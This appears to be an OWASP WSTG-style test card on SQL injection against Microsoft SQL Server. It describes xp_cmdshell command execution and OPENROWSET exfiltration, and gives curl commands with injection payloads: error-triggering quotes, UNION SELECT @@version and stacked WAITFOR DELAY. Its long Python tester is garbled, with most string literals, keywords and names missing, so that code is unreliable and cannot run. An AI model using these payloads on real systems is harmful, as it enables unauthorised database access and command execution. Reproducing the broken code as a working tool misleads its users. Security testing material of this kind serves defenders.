wstg-inpv-05-3

name	wstg-inpv-05.3
description	Testing for SQL Injection - SQL Server
category	input-validation
owasp_id	WSTG-INPV-05.3
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.3

Test ID

WSTG-INPV-05.3

Test Name

Testing for SQL Injection - SQL Server (MSSQL)

High-Level Description

Microsoft SQL Server-specific SQL injection testing leverages MSSQL's unique features including xp_cmdshell for OS command execution, OPENROWSET for data exfiltration, and specific error messages. MSSQL often runs with elevated privileges, making successful exploitation particularly dangerous.

---

What to Check

• MSSQL error messages
• xp_cmdshell availability
• Stacked queries support
• OPENROWSET data exfiltration
• System table access
• Linked servers

---

How to Test

Step 1: MSSQL Detection

#!/bin/bash
TARGET="https://target.com/product?id="

echo "[*] Testing for Microsoft SQL Server..."

# Error-based detection
curl -s "${TARGET}'" | grep -iE "SQL Server|ODBC|mssql|Incorrect syntax"

# MSSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"

# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version--"

# WAITFOR DELAY time-based
curl -s "${TARGET}1'; WAITFOR DELAY '0:0:5'--" --max-time 10

Step 2: MSSQL SQLi Tester

#!/usr/bin/env python3
"""
Microsoft SQL Server SQL Injection Tester
"""

import requests
import re
import time

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    MSSQL_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    MSSQL_PAYLOADS = {
        : [
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            (, ),
            (, ),
            (, ),
        ],
        : [
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
        ],
    }

     ():
        
        ()

        detection_payloads = [
            ,
            ,
            ,
        ]

         payload  detection_payloads:
            :
                response = .session.get(.url, params={param: payload})

                 pattern  .MSSQL_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                         

                   response.text.lower()    response.text.lower():
                    ()
                     

             Exception  e:
                

         

     ():
        
        ()

         payload  .MSSQL_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                
                 re.search(, response.text, re.IGNORECASE):
                    ()
                    version = re.search(, response.text)
                     version:
                        ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
        ()

        
        start = time.time()
        .session.get(.url, params={param: }, timeout=)
        baseline = time.time() - start

         payload  .MSSQL_PAYLOADS[]:
            :
                start = time.time()
                .session.get(.url, params={param: payload}, timeout=)
                response_time = time.time() - start

                 response_time > baseline + :
                    ()
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             requests.exceptions.Timeout:
                ()
                .findings.append({
                    : ,
                    : payload,
                    : 
                })
                 
             Exception  e:
                

         

     ():
        
        ()

        
        payload = 

        :
            start = time.time()
            .session.get(.url, params={param: payload}, timeout=)
            response_time = time.time() - start

             response_time > :
                ()
                .findings.append({
                    : ,
                    : payload,
                    : 
                })
                 

         requests.exceptions.Timeout:
            ()
            .findings.append({
                : ,
                : 
            })
             
         Exception  e:
            

         

     ():
        
        ()

        
        payload = 

        :
            response = .session.get(.url, params={param: payload})

                response.text.lower():
                ()
                .findings.append({
                    : ,
                    : payload,
                    : ,
                    : 
                })

         Exception  e:
            

         

     ():
        
         .detect_mssql(param):
            .test_error_based(param)
            .test_time_based(param)
            .test_stacked_queries(param)
            .test_xp_cmdshell(param)

        .generate_report()

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()
                   f:
                    ()


tester = MSSQLSQLiTester()
tester.run_tests(param=)